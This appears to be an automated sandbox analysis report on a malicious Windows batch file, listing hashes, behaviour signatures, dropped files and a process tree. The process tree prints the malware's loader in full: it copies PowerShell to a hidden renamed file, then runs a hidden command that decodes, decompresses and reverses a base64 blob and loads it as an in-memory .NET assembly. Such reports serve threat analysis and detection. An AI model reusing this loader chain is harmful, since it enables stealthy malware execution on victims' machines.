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Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    21/08/2024, 11:26

General

  • Target

    ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat

  • Size

    1.4MB

  • MD5

    70b340ae3989a38ceb1545ede320f991

  • SHA1

    cb35aa2ea5282c6d3f051400466705058890a424

  • SHA256

    ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8

  • SHA512

    06c2ad0da9b0bb9c316170c65d0b54a8b0b69ff6c574eb62cb56e0b41b18c12c9d1b7f3eeb0279932e9c44201874f0d76b9d8cc889701578f7e6d1ef4af032c7

  • SSDEEP

    24576:WYAnya111NrQcqRpa01Y31TGLN051hed0ELLtk1Koe78TYqE:WjyAwc1aLNch8HLG11dY

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2640
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
        2⤵
          PID:2636
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:2736
        • C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks
          C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks -WindowStyle hidden -command "$Tgxjzck = get-content 'C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat' | Select-Object -Last 1; $Sqfmta = [System.Convert]::FromBase64String($Tgxjzck);$Mxcwwsucaf = New-Object System.IO.MemoryStream( , $Sqfmta );$Swnerx = New-Object System.IO.MemoryStream;$Sdlyutgsqdo = New-Object System.IO.Compression.GzipStream $Mxcwwsucaf, ([IO.Compression.CompressionMode]::Decompress);$Sdlyutgsqdo.CopyTo( $Swnerx );$Sdlyutgsqdo.Close();$Mxcwwsucaf.Close();[byte[]] $Sqfmta = $Swnerx.ToArray();[Array]::Reverse($Sqfmta); $Xkoilavqpaz = [System.Threading.Thread]::GetDomain().Load($Sqfmta); $Pfarfm = $Xkoilavqpaz.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Pfarfm.DeclaringType, $Pfarfm.Name).DynamicInvoke() | Out-Null"
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2748

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ed9a1adaafad955e9274c784331db4acc0011031f83fbea872e95550cda00bb8.bat.Qks

        Filesize

        442KB

        MD5

        92f44e405db16ac55d97e3bfe3b132fa

        SHA1

        04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

        SHA256

        6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

        SHA512

        f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

      • memory/2748-5-0x0000000073EF1000-0x0000000073EF2000-memory.dmp

        Filesize

        4KB

      • memory/2748-6-0x0000000073EF0000-0x000000007449B000-memory.dmp

        Filesize

        5.7MB

      • memory/2748-8-0x0000000073EF0000-0x000000007449B000-memory.dmp

        Filesize

        5.7MB

      • memory/2748-7-0x0000000073EF0000-0x000000007449B000-memory.dmp

        Filesize

        5.7MB

      • memory/2748-9-0x0000000073EF0000-0x000000007449B000-memory.dmp

        Filesize

        5.7MB